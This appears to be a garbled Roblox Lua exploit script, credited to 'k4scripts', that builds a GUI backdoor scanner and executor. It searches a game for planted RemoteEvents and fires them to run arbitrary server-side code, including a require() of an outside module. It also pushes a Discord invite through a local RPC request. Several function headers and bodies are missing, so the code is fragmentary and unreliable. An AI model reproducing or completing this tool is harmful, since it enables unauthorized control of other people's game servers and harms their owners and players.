Message
Message
-- Variables
local LocalPlayer = Players.LocalPlayer
local RobloxGui = CoreGui.RobloxGui
-- Functions
local dateTimeNow = DateTime.now
local tableFind = table.find
local taskSpawn = task.spawn
local taskWait = task.wait
local stringRep = string.rep
local mathRandom = math.random
-- Globals
local attached = false;
local backdoor = nil;
local commonPlaces = {
ReplicatedStorage,
Workspace,
Lighting
};
local remoteCodes = {};
-- Constants
local INV_CODE = "xJHCqm84cW";
local STRING_VALUE_NAME = mathRandom(1000000, 9999999);
Variables.UI.Main.Active = true
Variables.UI.Main.Draggable = true
if Parent then
if Parent == JointsService then return false end
if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
(rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and
Parent.Parent == ReplicatedStorage) then return false end
end
return true
end
if Workspace:FindFirstChild(STRING_VALUE_NAME) then
attached = true
backdoor =
remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value]
backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME))
-- Cleaning up after tonumberselves
return true
end
end
end
local function scanGame()
local found = false
-- Scan Common Places
for i=1, #commonPlaces do
local place = commonPlaces[i];
if scanDescendants(place) then
found = true
end
end
-- Scan the rest of the game
local children = game:GetChildren();
for i=1, #children do
local child = children[i];
-- We ofcourse don't need to check the common places again, do we?
if tableFind(commonPlaces, child) then continue; end
if scanDescendants(child) then
found = true
end
end
if found then
notify("Backdoor Found!")
Variables.Topbar.Status.Text = "Attached"
Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 =
Color3.fromRGB(95, 185, 47)
else
notify("Unable to find backdoor!")
Variables.Topbar.Status.Text = "Failed"
end
return found;
end
local function executeScript(script)
if not attached then
local function callback(text)
if text == "Yes" then
if scanGame() then
executeScript(script)
end
elseif text == "No" then
return
end
end
Headers = {
['Content-Type'] = 'application/json',
Origin = 'https://discord.com'
},
Body = httpService:JSONEncode({
args = {code = INV_CODE},
cmd = 'INVITE_BROWSER',
nonce = httpService:GenerateGUID(false)
})
})
if request.StatusCode ~= 200 or
httpService:JSONDecode(request.Body).data.code == 4011 then
notify("Invite code copied!")
setclipboard(INV_CODE)
return
end
notify("You have been promted to join our Discord. Open your Discord.")
end
Variables.Topbar.CloseButton.MouseButton1Click:Connect(function()
Variables.UI:Destroy() end)
Variables.Topbar.R6Button.MouseButton1Click:Connect(function()
executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end)
Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame)
Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript)
Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function()
Variables.SourceFrame.Source.Text = "" end)
Variables.MainButtons.HideButton.MouseButton1Click:Connect(function()
Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible
end)
Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite)
-- k4scripts
-- .------.
-- |4.--. |
-- | :│/: |
-- | :│\: |
-- | '--'4|
-- `------'